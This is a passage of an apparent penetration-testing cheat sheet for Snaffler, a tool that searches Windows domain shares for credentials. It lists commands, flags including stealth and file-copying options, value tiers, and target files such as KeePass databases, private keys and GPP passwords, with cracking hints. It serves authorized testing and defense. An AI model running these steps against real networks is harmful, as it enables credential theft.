    808 VERBOSE:            Snaffler.exe -s -o snaffler.log -v Trace
    809 AD USERNAMES:       Snaffler.exe -s -o snaffler.log -u
    810 
    811 CUSTOM RULES:       Snaffler.exe -s -o snaffler.log -p C:\rules\
    812 GENERATE RULES:     Snaffler.exe -z generate
    813 
    814 ═══════════════════════════════════════════════════════════════════
    815   FLAG REFERENCE
    816 ═══════════════════════════════════════════════════════════════════
    817 
    818 -s              β†’ Output to console (stdout)
    819 -o <path>       β†’ Save output to log file
    820 -d <domain>     β†’ Specify target domain
    821 -c <dc>         β†’ Specify domain controller
    822 -n <hosts>      β†’ Manual host list (comma-separated or file)
    823 -i <path>       β†’ Scan specific path (skip discovery)
    824 -f              β†’ DFS shares only (stealthier)
    825 -a              β†’ Share enumeration only (no file search)
    826 -m <dir>        β†’ Copy matched files to directory
    827 -l <bytes>      β†’ Max file size to copy (default: 10MB)
    828 -r <bytes>      β†’ Max file size to content-search (default: 500KB)
    829 -u              β†’ Use AD usernames for dynamic rules
    830 -y              β†’ TSV output format
    831 -v <level>      β†’ Verbosity: Info|Data|Debug|Trace
    832 -z generate     β†’ Generate default TOML config
    833 -p <dir>        β†’ Load custom TOML rules from directory
    834 
    835 ═══════════════════════════════════════════════════════════════════
    836   TRIAGE LEVELS
    837 ═══════════════════════════════════════════════════════════════════
    838 
    839 ⬛ BLACK  β†’ Highest value  β†’ Password DBs, private keys, vaults
    840 πŸŸ₯ RED    β†’ High value     β†’ Certs with keys, configs with creds
    841 🟨 YELLOW β†’ Medium value   β†’ Scripts, configs, connection strings
    842 🟩 GREEN  β†’ Low / info     β†’ Interesting files, documentation
    843 
    844 ═══════════════════════════════════════════════════════════════════
    845   COMMON FILE TARGETS
    846 ═══════════════════════════════════════════════════════════════════
    847 
    848 .kdbx / .kdb        β†’ KeePass databases (crack with keepass2john)
    849 .pfx / .p12         β†’ Certificates with private keys
    850 .ppk                β†’ PuTTY private keys
    851 .pem / .key         β†’ SSL/SSH private keys
    852 web.config          β†’ ASP.NET config (connection strings)
    853 Groups.xml          β†’ GPP passwords (decrypt with gpp-decrypt)
    854 unattend.xml        β†’ Autologon credentials
    855 .ps1 / .bat / .cmd  β†’ Scripts with hardcoded credentials
    856 .ini / .conf        β†’ Configuration files
    857 .rdg / .rdp         β†’ Remote Desktop saved connections
    858 ```
    859 
    860 ---
    861 
    862 > **Sources:** Snaffler GitHub (SnaffCon/Snaffler) | SnafflerParser (SpaceCowboy-71) | HackTricks | MITRE ATT&CK